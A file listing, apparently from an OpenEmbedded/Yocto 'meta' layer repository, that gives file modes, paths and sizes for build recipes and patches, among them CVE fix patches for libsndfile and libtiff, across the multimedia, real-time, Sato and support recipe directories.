-rw-r--r--meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-license.inc19
-rw-r--r--meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-packaging.inc33
-rw-r--r--meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-ugly_1.16.2.bb39
-rw-r--r--meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-ugly_1.22.11.bb47
-rw-r--r--meta/recipes-multimedia/gstreamer/gstreamer1.0-ptest.inc23
-rw-r--r--meta/recipes-multimedia/gstreamer/gstreamer1.0-python/0001-meson.build-fix-builds-with-python-3.8.patch24
-rw-r--r--meta/recipes-multimedia/gstreamer/gstreamer1.0-python_1.16.2.bb37
-rw-r--r--meta/recipes-multimedia/gstreamer/gstreamer1.0-python_1.22.11.bb30
-rw-r--r--meta/recipes-multimedia/gstreamer/gstreamer1.0-rtsp-server/0001-meson-build-gir-even-when-cross-compiling-if-introsp.patch36
-rw-r--r--meta/recipes-multimedia/gstreamer/gstreamer1.0-rtsp-server_1.16.2.bb31
-rw-r--r--meta/recipes-multimedia/gstreamer/gstreamer1.0-rtsp-server_1.22.11.bb31
-rw-r--r--meta/recipes-multimedia/gstreamer/gstreamer1.0-vaapi/0001-vaapsink-downgrade-to-marginal.patch46
-rw-r--r--meta/recipes-multimedia/gstreamer/gstreamer1.0-vaapi_1.16.2.bb57
-rw-r--r--meta/recipes-multimedia/gstreamer/gstreamer1.0-vaapi_1.22.11.bb53
-rw-r--r--meta/recipes-multimedia/gstreamer/gstreamer1.0/0001-gst-gstpluginloader.c-when-env-var-is-set-do-not-fal.patch35
-rw-r--r--meta/recipes-multimedia/gstreamer/gstreamer1.0/0001-tests-respect-the-idententaion-used-in-meson.patch34
-rw-r--r--meta/recipes-multimedia/gstreamer/gstreamer1.0/0002-meson-build-gir-even-when-cross-compiling-if-introsp.patch36
-rw-r--r--meta/recipes-multimedia/gstreamer/gstreamer1.0/0002-tests-add-support-for-install-the-tests.patch107
-rw-r--r--meta/recipes-multimedia/gstreamer/gstreamer1.0/0003-meson-Add-valgrind-feature.patch74
-rw-r--r--meta/recipes-multimedia/gstreamer/gstreamer1.0/0003-tests-use-a-dictionaries-for-environment.patch48
-rw-r--r--meta/recipes-multimedia/gstreamer/gstreamer1.0/0004-meson-Add-option-for-installed-tests.patch257
-rw-r--r--meta/recipes-multimedia/gstreamer/gstreamer1.0/0004-tests-add-helper-script-to-run-the-installed_tests.patch72
-rw-r--r--meta/recipes-multimedia/gstreamer/gstreamer1.0/capfix.patch37
-rwxr-xr-xmeta/recipes-multimedia/gstreamer/gstreamer1.0/run-ptest16
-rw-r--r--meta/recipes-multimedia/gstreamer/gstreamer1.0_1.16.2.bb77
-rw-r--r--meta/recipes-multimedia/gstreamer/gstreamer1.0_1.22.11.bb74
-rw-r--r--meta/recipes-multimedia/lame/lame_3.100.bb13
-rw-r--r--meta/recipes-multimedia/liba52/liba52_0.7.4.bb10
-rw-r--r--meta/recipes-multimedia/libid3tag/libid3tag/0001-Fix-gperf-3.1-incompatibility.patch40
-rw-r--r--meta/recipes-multimedia/libid3tag/libid3tag/10_utf16.patch34
-rw-r--r--meta/recipes-multimedia/libid3tag/libid3tag/addpkgconfig.patch43
-rw-r--r--meta/recipes-multimedia/libid3tag/libid3tag/obsolete_automake_macros.patch15
-rw-r--r--meta/recipes-multimedia/libid3tag/libid3tag/unknown-encoding.patch39
-rw-r--r--meta/recipes-multimedia/libid3tag/libid3tag_0.15.1b.bb27
-rw-r--r--meta/recipes-multimedia/libogg/libogg_1.3.4.bb17
-rw-r--r--meta/recipes-multimedia/libogg/libogg_1.3.5.bb17
-rw-r--r--meta/recipes-multimedia/libomxil/libomxil_0.9.3.bb14
-rw-r--r--meta/recipes-multimedia/libpng/libpng_1.6.37.bb32
-rw-r--r--meta/recipes-multimedia/libpng/libpng_1.6.43.bb33
-rw-r--r--meta/recipes-multimedia/libsamplerate/libsamplerate0/0001-configure.ac-improve-alsa-handling.patch62
-rw-r--r--meta/recipes-multimedia/libsamplerate/libsamplerate0_0.1.9.bb28
-rw-r--r--meta/recipes-multimedia/libsamplerate/libsamplerate0_0.2.2.bb26
-rw-r--r--meta/recipes-multimedia/libsndfile/libsndfile1/0001-a-ulaw-fix-multiple-buffer-overflows-432.patch107
-rw-r--r--meta/recipes-multimedia/libsndfile/libsndfile1/CVE-2017-12562.patch96
-rw-r--r--meta/recipes-multimedia/libsndfile/libsndfile1/CVE-2017-14634.patch42
-rw-r--r--meta/recipes-multimedia/libsndfile/libsndfile1/CVE-2017-6892.patch34
-rw-r--r--meta/recipes-multimedia/libsndfile/libsndfile1/CVE-2017-8361-8365.patch73
-rw-r--r--meta/recipes-multimedia/libsndfile/libsndfile1/CVE-2017-8362.patch59
-rw-r--r--meta/recipes-multimedia/libsndfile/libsndfile1/CVE-2017-8363.patch37
-rw-r--r--meta/recipes-multimedia/libsndfile/libsndfile1/CVE-2018-13139.patch37
-rw-r--r--meta/recipes-multimedia/libsndfile/libsndfile1/CVE-2018-19432.patch115
-rw-r--r--meta/recipes-multimedia/libsndfile/libsndfile1/CVE-2018-19758.patch34
-rw-r--r--meta/recipes-multimedia/libsndfile/libsndfile1/CVE-2019-3832.patch37
-rw-r--r--meta/recipes-multimedia/libsndfile/libsndfile1/cve-2022-33065.patch739
-rw-r--r--meta/recipes-multimedia/libsndfile/libsndfile1/noopus.patch68
-rw-r--r--meta/recipes-multimedia/libsndfile/libsndfile1_1.0.28.bb43
-rw-r--r--meta/recipes-multimedia/libsndfile/libsndfile1_1.2.2.bb32
-rw-r--r--meta/recipes-multimedia/libtheora/libtheora_1.1.1.bb1
-rw-r--r--meta/recipes-multimedia/libtiff/tiff/CVE-2023-52355-0001.patch238
-rw-r--r--meta/recipes-multimedia/libtiff/tiff/CVE-2023-52355-0002.patch28
-rw-r--r--meta/recipes-multimedia/libtiff/tiff/CVE-2023-52356.patch49
-rw-r--r--meta/recipes-multimedia/libtiff/tiff/CVE-2023-6228.patch31
-rw-r--r--meta/recipes-multimedia/libtiff/tiff/CVE-2023-6277-Apply-1-suggestion-s-to-1-file-s.patch27
-rw-r--r--meta/recipes-multimedia/libtiff/tiff/CVE-2023-6277-At-image-reading-compare-data-size-of-some-tags-data-2.patch36
-rw-r--r--meta/recipes-multimedia/libtiff/tiff/CVE-2023-6277-At-image-reading-compare-data-size-of-some-tags-data.patch162
-rw-r--r--meta/recipes-multimedia/libtiff/tiff_4.1.0.bb50
-rw-r--r--meta/recipes-multimedia/libtiff/tiff_4.6.0.bb68
-rw-r--r--meta/recipes-multimedia/libvorbis/libvorbis_1.3.7.bb4
-rw-r--r--meta/recipes-multimedia/mpeg2dec/mpeg2dec_0.5.1.bb22
-rw-r--r--meta/recipes-multimedia/mpg123/mpg123_1.26.3.bb51
-rw-r--r--meta/recipes-multimedia/mpg123/mpg123_1.32.6.bb55
-rw-r--r--meta/recipes-multimedia/pulseaudio/pulseaudio.inc160
-rw-r--r--meta/recipes-multimedia/pulseaudio/pulseaudio/0001-doxygen-meson.build-remove-dependency-on-doxygen-bin.patch26
-rw-r--r--meta/recipes-multimedia/pulseaudio/pulseaudio/0001-remap-arm-Adjust-inline-asm-constraints.patch114
-rw-r--r--meta/recipes-multimedia/pulseaudio/pulseaudio/0001-remap_neon-use-register-r12-instead-of-r7.patch48
-rw-r--r--meta/recipes-multimedia/pulseaudio/pulseaudio/0002-do-not-display-CLFAGS-to-improve-reproducibility-bui.patch8
-rw-r--r--meta/recipes-multimedia/pulseaudio/pulseaudio_13.0.bb12
-rw-r--r--meta/recipes-multimedia/pulseaudio/pulseaudio_17.0.bb10
-rw-r--r--meta/recipes-multimedia/sbc/sbc_1.4.bb23
-rw-r--r--meta/recipes-multimedia/sbc/sbc_2.0.bb22
-rw-r--r--meta/recipes-multimedia/speex/speex_1.2.0.bb20
-rw-r--r--meta/recipes-multimedia/speex/speex_1.2.1.bb20
-rw-r--r--meta/recipes-multimedia/speex/speexdsp_1.2.0.bb27
-rw-r--r--meta/recipes-multimedia/speex/speexdsp_1.2.1.bb28
-rw-r--r--meta/recipes-multimedia/webp/libwebp_1.1.0.bb56
-rw-r--r--meta/recipes-multimedia/webp/libwebp_1.3.2.bb57
-rw-r--r--meta/recipes-multimedia/x264/x264_git.bb18
-rw-r--r--meta/recipes-rt/README2
-rw-r--r--meta/recipes-rt/rt-tests/files/0001-Makefile-Allow-for-CC-and-AR-to-be-overridden.patch29
-rwxr-xr-xmeta/recipes-rt/rt-tests/files/rt_bmark.py2
-rw-r--r--meta/recipes-rt/rt-tests/hwlatdetect_1.1.bb26
-rw-r--r--meta/recipes-rt/rt-tests/hwlatdetect_git.bb26
-rw-r--r--meta/recipes-rt/rt-tests/rt-tests-1.1/0001-gzip-with-n-for-build-reproducibilty.patch62
-rw-r--r--meta/recipes-rt/rt-tests/rt-tests.inc11
-rw-r--r--meta/recipes-rt/rt-tests/rt-tests_1.1.bb36
-rw-r--r--meta/recipes-rt/rt-tests/rt-tests_git.bb36
-rw-r--r--meta/recipes-sato/images/core-image-sato-dev.bb1
-rw-r--r--meta/recipes-sato/images/core-image-sato-ptest-fast.bb19
-rw-r--r--meta/recipes-sato/images/core-image-sato-sdk-ptest.bb23
-rw-r--r--meta/recipes-sato/images/core-image-sato-sdk.bb4
-rw-r--r--meta/recipes-sato/images/core-image-sato.bb9
-rw-r--r--meta/recipes-sato/l3afpad/l3afpad_git.bb16
-rw-r--r--meta/recipes-sato/libptytty/libptytty/0001-CMakeLists.txt-do-not-run-cross-binary.patch24
-rw-r--r--meta/recipes-sato/libptytty/libptytty_2.0.bb13
-rw-r--r--meta/recipes-sato/matchbox-config-gtk/matchbox-config-gtk_0.2.bb12
-rw-r--r--meta/recipes-sato/matchbox-desktop/matchbox-desktop_2.2.bb33
-rw-r--r--meta/recipes-sato/matchbox-desktop/matchbox-desktop_2.3.bb33
-rw-r--r--meta/recipes-sato/matchbox-keyboard/matchbox-keyboard_0.1.1.bb17
-rw-r--r--meta/recipes-sato/matchbox-panel-2/matchbox-panel-2_2.11.bb40
-rw-r--r--meta/recipes-sato/matchbox-panel-2/matchbox-panel-2_2.12.bb39
-rw-r--r--meta/recipes-sato/matchbox-sato/matchbox-session-sato/session1
-rw-r--r--meta/recipes-sato/matchbox-sato/matchbox-session-sato_0.1.bb11
-rw-r--r--meta/recipes-sato/matchbox-terminal/matchbox-terminal_0.2.bb10
-rw-r--r--meta/recipes-sato/matchbox-theme-sato/matchbox-theme-sato.inc2
-rw-r--r--meta/recipes-sato/matchbox-theme-sato/matchbox-theme-sato_0.2.bb2
-rw-r--r--meta/recipes-sato/packagegroups/packagegroup-core-x11-sato.bb21
-rw-r--r--meta/recipes-sato/pcmanfm/pcmanfm_1.3.1.bb40
-rw-r--r--meta/recipes-sato/pcmanfm/pcmanfm_1.3.2.bb40
-rw-r--r--meta/recipes-sato/pulseaudio-sato/pulseaudio-client-conf-sato_1.bb4
-rw-r--r--meta/recipes-sato/puzzles/files/0001-Use-Wno-error-format-overflow-if-the-compiler-suppor.patch32
-rw-r--r--meta/recipes-sato/puzzles/files/0001-palisade-Fix-warnings-with-clang-on-arm.patch68
-rw-r--r--meta/recipes-sato/puzzles/files/0001-pattern.c-Change-string-lenght-parameter-to-be-size_.patch34
-rw-r--r--meta/recipes-sato/puzzles/files/fix-compiling-failure-with-option-g-O.patch44
-rw-r--r--meta/recipes-sato/puzzles/files/fix-ki-uninitialized.patch25
-rw-r--r--meta/recipes-sato/puzzles/puzzles_git.bb51
-rw-r--r--meta/recipes-sato/rxvt-unicode/rxvt-unicode.inc21
-rw-r--r--meta/recipes-sato/rxvt-unicode/rxvt-unicode/rxvt.desktop4
-rw-r--r--meta/recipes-sato/rxvt-unicode/rxvt-unicode_9.22.bb8
-rw-r--r--meta/recipes-sato/rxvt-unicode/rxvt-unicode_9.31.bb8
-rw-r--r--meta/recipes-sato/sato-icon-theme/icon-naming-utils_0.8.90.bb29
-rw-r--r--meta/recipes-sato/sato-icon-theme/sato-icon-theme_git.bb29
-rw-r--r--meta/recipes-sato/sato-screenshot/sato-screenshot_0.3.bb10
-rw-r--r--meta/recipes-sato/settings-daemon/settings-daemon_0.0.2.bb10
-rw-r--r--meta/recipes-sato/shutdown-desktop/shutdown-desktop.bb3
-rw-r--r--meta/recipes-sato/webkit/libwpe_1.16.0.bb18
-rw-r--r--meta/recipes-sato/webkit/libwpe_1.7.1.bb17
-rw-r--r--meta/recipes-sato/webkit/webkitgtk/0001-CMake-Add-a-variable-to-control-macro-__PAS_ALWAYS_I.patch73
-rw-r--r--meta/recipes-sato/webkit/webkitgtk/0001-Enable-THREADS_PREFER_PTHREAD_FLAG.patch45
-rw-r--r--meta/recipes-sato/webkit/webkitgtk/0001-FindGObjectIntrospection.cmake-prefix-variables-obta.patch38
-rw-r--r--meta/recipes-sato/webkit/webkitgtk/0001-Fix-build-with-musl.patch75
-rw-r--r--meta/recipes-sato/webkit/webkitgtk/0001-Fix-racy-parallel-build-of-WebKit2-4.0.gir.patch46
-rw-r--r--meta/recipes-sato/webkit/webkitgtk/0001-OptionsGTK.cmake-drop-the-hardcoded-introspection-gt.patch35
-rw-r--r--meta/recipes-sato/webkit/webkitgtk/0001-Tweak-gtkdoc-settings-so-that-gtkdoc-generation-work.patch47
-rw-r--r--meta/recipes-sato/webkit/webkitgtk/0001-When-building-introspection-files-add-CMAKE_C_FLAGS-.patch52
-rw-r--r--meta/recipes-sato/webkit/webkitgtk/2922af379dc70b4b1a63b01d67179eb431f03ac4.patch38
-rw-r--r--meta/recipes-sato/webkit/webkitgtk/30e1d5e22213fdaca2a29ec3400c927d710a37a8.patch67
-rw-r--r--meta/recipes-sato/webkit/webkitgtk/cross-compile.patch23
-rw-r--r--meta/recipes-sato/webkit/webkitgtk/include_array.patch15
-rw-r--r--meta/recipes-sato/webkit/webkitgtk/no-musttail-arm.patch30
-rw-r--r--meta/recipes-sato/webkit/webkitgtk/reproducibility.patch30
-rw-r--r--meta/recipes-sato/webkit/webkitgtk/t6-not-declared.patch37
-rw-r--r--meta/recipes-sato/webkit/webkitgtk_2.28.3.bb131
-rw-r--r--meta/recipes-sato/webkit/webkitgtk_2.44.0.bb187
-rw-r--r--meta/recipes-sato/webkit/wpebackend-fdo_1.14.2.bb24
-rw-r--r--meta/recipes-sato/webkit/wpebackend-fdo_1.6.1.bb17
-rw-r--r--meta/recipes-support/appstream/appstream/0001-remove-hardcoded-path.patch32
-rw-r--r--meta/recipes-support/appstream/appstream_1.0.2.bb44
-rw-r--r--meta/recipes-support/apr/apr-util/0001-Fix-error-handling-in-gdbm.patch135
-rw-r--r--meta/recipes-support/apr/apr-util/0001-test_transformation-Check-if-transform-is-supported-.patch37
-rw-r--r--meta/recipes-support/apr/apr-util_1.6.1.bb97
-rw-r--r--meta/recipes-support/apr/apr-util_1.6.3.bb97
-rw-r--r--meta/recipes-support/apr/apr/0001-Add-option-to-disable-timed-dependant-tests.patch20
-rw-r--r--meta/recipes-support/apr/apr/0001-configure-Remove-runtime-test-for-mmap-that-can-map-.patch58
-rw-r--r--meta/recipes-support/apr/apr/0001-dso-Check-for-NULL-handle-in-apr_dso_sym.patch37
-rw-r--r--meta/recipes-support/apr/apr/0002-apr-Remove-workdir-path-references-from-installed-ap.patch25
-rw-r--r--meta/recipes-support/apr/apr/0003-Makefile.in-configure.in-support-cross-compiling.patch63
-rw-r--r--meta/recipes-support/apr/apr/0006-apr-fix-off_t-size-doesn-t-match-in-glibc-when-cross.patch76
-rw-r--r--meta/recipes-support/apr/apr/autoconf-2.73.patch26
-rw-r--r--meta/recipes-support/apr/apr/libtoolize_check.patch21
-rw-r--r--meta/recipes-support/apr/apr_1.7.0.bb120
-rw-r--r--meta/recipes-support/apr/apr_1.7.4.bb139
-rw-r--r--meta/recipes-support/argp-standalone/argp-standalone_1.3.bb32
-rw-r--r--meta/recipes-support/argp-standalone/argp-standalone_1.4.1.bb31
-rw-r--r--meta/recipes-support/argp-standalone/files/0001-throw-in-funcdef.patch84
-rw-r--r--meta/recipes-support/argp-standalone/files/0002-isprint.patch51
-rw-r--r--meta/recipes-support/argp-standalone/files/out_of_tree_build.patch2
-rw-r--r--meta/recipes-support/aspell/aspell_0.60.8.1.bb38
-rw-r--r--meta/recipes-support/aspell/aspell_0.60.8.bb30
-rw-r--r--meta/recipes-support/atk/at-spi2-atk_2.34.2.bb19
-rw-r--r--meta/recipes-support/atk/at-spi2-core_2.36.0.bb36
-rw-r--r--meta/recipes-support/atk/at-spi2-core_2.52.0.bb48
-rw-r--r--meta/recipes-support/atk/atk_2.36.0.bb21
-rw-r--r--meta/recipes-support/attr/acl/0001-test-patch-out-failing-bits.patch5
-rw-r--r--meta/recipes-support/attr/acl/0001-tests-do-not-hardcode-the-build-path-into-a-helper-l.patch6
-rw-r--r--meta/recipes-support/attr/acl/run-ptest6
-rw-r--r--meta/recipes-support/attr/acl_2.2.53.bb74
-rw-r--r--meta/recipes-support/attr/acl_2.3.2.bb85
-rw-r--r--meta/recipes-support/attr/attr.inc22
-rw-r--r--meta/recipes-support/attr/attr/0001-attr.c-Include-libgen.h-for-posix-version-of-basenam.patch35
-rw-r--r--meta/recipes-support/attr/attr/run-ptest7
-rw-r--r--meta/recipes-support/attr/attr_2.4.48.bb6
-rw-r--r--meta/recipes-support/attr/attr_2.5.2.bb5
-rw-r--r--meta/recipes-support/bash-completion/bash-completion_2.11.bb37
-rw-r--r--meta/recipes-support/bash-completion/bash-completion_2.13.0.bb38
-rw-r--r--meta/recipes-support/bmap-tools/bmap-tools_3.5.bb25
-rw-r--r--meta/recipes-support/bmaptool/bmaptool_git.bb29
-rw-r--r--meta/recipes-support/boost/bjam-native_1.73.0.bb20
-rw-r--r--meta/recipes-support/boost/boost-1.73.0.inc21
-rw-r--r--meta/recipes-support/boost/boost-1.84.0.inc20
-rw-r--r--meta/recipes-support/boost/boost-build-native_1.84.0.bb28
-rw-r--r--meta/recipes-support/boost/boost.inc88
-rw-r--r--meta/recipes-support/boost/boost/0001-Apply-boost-1.62.0-no-forced-flags.patch.patch100
-rw-r--r--meta/recipes-support/boost/boost/0001-Don-t-set-up-arch-instruction-set-flags-we-do-that-o.patch37
-rw-r--r--meta/recipes-support/boost/boost/0001-Make-index-detail-rtree-visitors-insert-base-class-p.patch30
-rw-r--r--meta/recipes-support/boost/boost/0001-dont-setup-compiler-flags-m32-m64.patch15
-rw-r--r--meta/recipes-support/boost/boost/arm-intrinsics.patch55
-rw-r--r--meta/recipes-support/boost/boost/boost-CVE-2012-2677.patch112
-rw-r--r--meta/recipes-support/boost/boost/boost-math-disable-pch-for-gcc.patch9
-rw-r--r--meta/recipes-support/boost/boost_1.73.0.bb11
-rw-r--r--meta/recipes-support/boost/boost_1.84.0.bb7
-rw-r--r--meta/recipes-support/boost/files/0001-Build-debug-version-of-bjam.patch38
-rw-r--r--meta/recipes-support/boost/files/0001-build.sh-use-DNDEBUG-also-in-debug-builds.patch27
-rw-r--r--meta/recipes-support/ca-certificates/ca-certificates/0001-Revert-mozilla-certdata2pem.py-print-a-warning-for-e.patch80
-rw-r--r--meta/recipes-support/ca-certificates/ca-certificates/0001-certdata2pem.py-use-python3.patch37
-rw-r--r--meta/recipes-support/ca-certificates/ca-certificates/sbindir.patch20
-rw-r--r--meta/recipes-support/ca-certificates/ca-certificates/update-ca-certificates-support-Toybox.patch34
-rw-r--r--meta/recipes-support/ca-certificates/ca-certificates_20200601.bb91
-rw-r--r--meta/recipes-support/ca-certificates/ca-certificates_20211016.bb89
-rw-r--r--meta/recipes-support/consolekit/consolekit_0.4.6.bb16
-rw-r--r--meta/recipes-support/curl/curl/0001-replace-krb5-config-with-pkg-config.patch44
-rw-r--r--meta/recipes-support/curl/curl/disable-tests41
-rw-r--r--meta/recipes-support/curl/curl/no-test-timeout.patch25
-rw-r--r--meta/recipes-support/curl/curl/run-ptest11
-rw-r--r--meta/recipes-support/curl/curl_7.71.1.bb83
-rw-r--r--meta/recipes-support/curl/curl_8.7.1.bb149
-rw-r--r--meta/recipes-support/db/db/0001-Fix-libc-compatibility-by-renaming-atomic_init-API.patch2
-rw-r--r--meta/recipes-support/db/db/0001-atomic-Rename-local-__atomic_compare_exchange-to-avo.patch2
-rw-r--r--meta/recipes-support/db/db/0001-clock-Do-not-define-own-timespec.patch2
-rw-r--r--meta/recipes-support/db/db/0001-configure-Add-explicit-tag-options-to-libtool-invoca.patch2
-rw-r--r--meta/recipes-support/db/db/fix-parallel-build.patch2
-rw-r--r--meta/recipes-support/db/db/sequence-type.patch2
-rw-r--r--meta/recipes-support/db/db_5.3.28.bb22
-rw-r--r--meta/recipes-support/debianutils/debianutils_4.11.bb54
-rw-r--r--meta/recipes-support/debianutils/debianutils_5.17.bb58
-rw-r--r--meta/recipes-support/diffoscope/diffoscope_153.bb17
-rw-r--r--meta/recipes-support/diffoscope/diffoscope_260.bb43
-rw-r--r--meta/recipes-support/dos2unix/dos2unix_7.4.1.bb34
-rw-r--r--meta/recipes-support/dos2unix/dos2unix_7.5.2.bb34
-rw-r--r--meta/recipes-support/enchant/enchant2_2.2.8.bb29
-rw-r--r--meta/recipes-support/enchant/enchant2_2.6.9.bb29
-rw-r--r--meta/recipes-support/fribidi/fribidi_1.0.10.bb17
-rw-r--r--meta/recipes-support/fribidi/fribidi_1.0.13.bb20
-rw-r--r--meta/recipes-support/gdbm/files/gdbm-fix-link-failure-against-gcc-10.patch47
-rw-r--r--meta/recipes-support/gdbm/files/ptest.patch26
-rwxr-xr-xmeta/recipes-support/gdbm/files/run-ptest2
-rw-r--r--meta/recipes-support/gdbm/gdbm_1.18.1.bb44
-rw-r--r--meta/recipes-support/gdbm/gdbm_1.23.bb45
-rw-r--r--meta/recipes-support/gmp/gmp.inc4
-rw-r--r--meta/recipes-support/gmp/gmp/0001-confiure.ac-Believe-the-cflags-from-environment.patch2
-rw-r--r--meta/recipes-support/gmp/gmp_6.2.0.bb44
-rw-r--r--meta/recipes-support/gmp/gmp_6.3.0.bb53
-rw-r--r--meta/recipes-support/gnome-desktop-testing/gnome-desktop-testing/0001-fix-non-literal-format-string-issue-with-clang.patch31
-rw-r--r--meta/recipes-support/gnome-desktop-testing/gnome-desktop-testing_2018.1.bb18
-rw-r--r--meta/recipes-support/gnome-desktop-testing/gnome-desktop-testing_2021.1.bb24
-rw-r--r--meta/recipes-support/gnupg/gnupg/0001-Use-pkg-config-to-find-pth-instead-of-pth-config.patch105
-rw-r--r--meta/recipes-support/gnupg/gnupg/0001-configure.ac-use-a-custom-value-for-the-location-of-.patch6
-rw-r--r--meta/recipes-support/gnupg/gnupg/0002-use-pkgconfig-instead-of-npth-config.patch73
-rw-r--r--meta/recipes-support/gnupg/gnupg/0003-dirmngr-uses-libgpg-error.patch32
-rw-r--r--meta/recipes-support/gnupg/gnupg/0004-autogen.sh-fix-find-version-for-beta-checking.patch12
-rw-r--r--meta/recipes-support/gnupg/gnupg/relocate.patch91
-rw-r--r--meta/recipes-support/gnupg/gnupg_2.2.21.bb80
-rw-r--r--meta/recipes-support/gnupg/gnupg_2.4.5.bb90
-rw-r--r--meta/recipes-support/gnutls/gnutls/0001-Creating-.hmac-file-should-be-excuted-in-target-envi.patch26
-rw-r--r--meta/recipes-support/gnutls/gnutls/0001-Modied-the-license-to-GPLv2.1-to-keep-with-LICENSE-f.patch90
-rw-r--r--meta/recipes-support/gnutls/gnutls/Add-ptest-support.patch57
-rw-r--r--meta/recipes-support/gnutls/gnutls/arm_eabi.patch14
-rw-r--r--meta/recipes-support/gnutls/gnutls/run-ptest100
-rw-r--r--meta/recipes-support/gnutls/gnutls_3.6.14.bb67
-rw-r--r--meta/recipes-support/gnutls/gnutls_3.8.4.bb100
-rw-r--r--meta/recipes-support/gnutls/libtasn1/dont-depend-on-help2man.patch26
-rw-r--r--meta/recipes-support/gnutls/libtasn1_4.16.0.bb22
-rw-r--r--meta/recipes-support/gnutls/libtasn1_4.19.0.bb23
-rw-r--r--meta/recipes-support/gpgme/gpgme/0001-Revert-build-Make-gpgme.m4-use-gpgrt-config-with-.pc.patch40
-rw-r--r--meta/recipes-support/gpgme/gpgme/0001-autogen.sh-remove-unknown-in-version.patch32
-rw-r--r--meta/recipes-support/gpgme/gpgme/0001-pkgconfig.patch92
-rw-r--r--meta/recipes-support/gpgme/gpgme/0001-posix-io.c-Use-off_t-instead-of-off64_t.patch42
-rw-r--r--meta/recipes-support/gpgme/gpgme/0001-use-closefrom-on-linux-and-glibc-2.34.patch28
-rw-r--r--meta/recipes-support/gpgme/gpgme/0002-gpgme-lang-python-gpg-error-config-should-not-be-use.patch34
-rw-r--r--meta/recipes-support/gpgme/gpgme/0003-Correctly-install-python-modules.patch12
-rw-r--r--meta/recipes-support/gpgme/gpgme/0005-gpgme-config-skip-all-lib-or-usr-lib-directories-in-.patch12
-rw-r--r--meta/recipes-support/gpgme/gpgme/0006-fix-build-path-issue.patch12
-rw-r--r--meta/recipes-support/gpgme/gpgme/0007-python-Add-variables-to-tests.patch52
-rw-r--r--meta/recipes-support/gpgme/gpgme/0008-do-not-auto-check-var-PYTHON.patch17
-rw-r--r--meta/recipes-support/gpgme/gpgme_1.13.1.bb85
-rw-r--r--meta/recipes-support/gpgme/gpgme_1.23.2.bb82
-rw-r--r--meta/recipes-support/icu/icu/0001-Disable-LDFLAGSICUDT-for-Linux.patch11
-rw-r--r--meta/recipes-support/icu/icu/0001-icu-Added-armeb-support.patch11
-rw-r--r--meta/recipes-support/icu/icu/fix-install-manx.patch7
-rw-r--r--meta/recipes-support/icu/icu_67.1.bb150
-rw-r--r--meta/recipes-support/icu/icu_74-2.bb149
-rw-r--r--meta/recipes-support/iso-codes/iso-codes_4.16.0.bb24
-rw-r--r--meta/recipes-support/iso-codes/iso-codes_4.5.0.bb19
-rw-r--r--meta/recipes-support/itstool/itstool/0001-Native-Don-t-use-build-time-hardcoded-python-binary-.patch8
-rw-r--r--meta/recipes-support/itstool/itstool_2.0.6.bb21
-rw-r--r--meta/recipes-support/itstool/itstool_2.0.7.bb29
-rw-r--r--meta/recipes-support/libassuan/libassuan/libassuan-add-pkgconfig-support.patch27
-rw-r--r--meta/recipes-support/libassuan/libassuan_2.5.3.bb36
-rw-r--r--meta/recipes-support/libassuan/libassuan_2.5.7.bb38
-rw-r--r--meta/recipes-support/libatomic-ops/libatomic-ops_7.6.10.bb22
-rw-r--r--meta/recipes-support/libatomic-ops/libatomic-ops_7.8.2.bb22
-rw-r--r--meta/recipes-support/libbsd/libbsd_0.10.0.bb41
-rw-r--r--meta/recipes-support/libbsd/libbsd_0.12.2.bb47
-rw-r--r--meta/recipes-support/libcap-ng/files/fix-issues-with-swig-4-2.patch32
-rw-r--r--meta/recipes-support/libcap-ng/libcap-ng-python_0.7.10.bb29
-rw-r--r--meta/recipes-support/libcap-ng/libcap-ng-python_0.8.4.bb29
-rw-r--r--meta/recipes-support/libcap-ng/libcap-ng.inc16
-rw-r--r--meta/recipes-support/libcap-ng/libcap-ng/0001-configure.ac-add-library-if-header-found.patch31
-rw-r--r--meta/recipes-support/libcap-ng/libcap-ng/0002-Wrap-pthread_atfork-usage-in-HAVE_PTHREAD_H.patch25
-rw-r--r--meta/recipes-support/libcap-ng/libcap-ng/python.patch62
-rw-r--r--meta/recipes-support/libcap-ng/libcap-ng_0.7.10.bb17
-rw-r--r--meta/recipes-support/libcap-ng/libcap-ng_0.8.4.bb17
-rw-r--r--meta/recipes-support/libcap/files/0001-nativesdk-libcap-Raise-the-size-of-arrays-containing.patch34
-rw-r--r--meta/recipes-support/libcap/files/0001-tests-do-not-statically-link-a-test.patch46
-rw-r--r--meta/recipes-support/libcap/files/0002-tests-do-not-run-target-executables.patch12
-rw-r--r--meta/recipes-support/libcap/libcap_2.42.bb76
-rw-r--r--meta/recipes-support/libcap/libcap_2.69.bb79
-rw-r--r--meta/recipes-support/libcheck/libcheck/automake-output.patch82
-rw-r--r--meta/recipes-support/libcheck/libcheck_0.15.0.bb28
-rw-r--r--meta/recipes-support/libcheck/libcheck_0.15.2.bb36
-rw-r--r--meta/recipes-support/libcroco/libcroco_0.6.13.bb20
-rw-r--r--meta/recipes-support/libdaemon/libdaemon_0.14.bb7
-rw-r--r--meta/recipes-support/libevdev/libevdev/determinism.patch43
-rw-r--r--meta/recipes-support/libevdev/libevdev_1.13.1.bb17
-rw-r--r--meta/recipes-support/libevdev/libevdev_1.9.1.bb16
-rw-r--r--meta/recipes-support/libevent/libevent/0002-test-regress.h-Increase-default-timeval-tolerance-50.patch33
-rw-r--r--meta/recipes-support/libevent/libevent/0003-test-mark-util-monotonic_prc_fallback-as-retriable.patch28
-rw-r--r--meta/recipes-support/libevent/libevent/0004-test-retriable-tests-are-marked-failed-only-when-all-a.patch81
-rw-r--r--meta/recipes-support/libevent/libevent/run-ptest10
-rw-r--r--meta/recipes-support/libevent/libevent_2.1.12.bb23
-rw-r--r--meta/recipes-support/libexif/libexif/0001-Add-serial-tests-config-needed-by-ptest.patch26
-rw-r--r--meta/recipes-support/libexif/libexif/run-ptest3
-rw-r--r--meta/recipes-support/libexif/libexif_0.6.22.bb21
-rw-r--r--meta/recipes-support/libexif/libexif_0.6.24.bb47
-rw-r--r--meta/recipes-support/libffi/libffi/0001-Address-platforms-with-no-__int128-part2.patch34
-rw-r--r--meta/recipes-support/libffi/libffi/0001-Address-platforms-with-no-__int128.patch27
-rw-r--r--meta/recipes-support/libffi/libffi/0001-Fixed-missed-ifndef-for-__mips_soft_float.patch27
-rw-r--r--meta/recipes-support/libffi/libffi/0001-ffi_powerpc.h-fix-build-failure-with-powerpc7.patch62
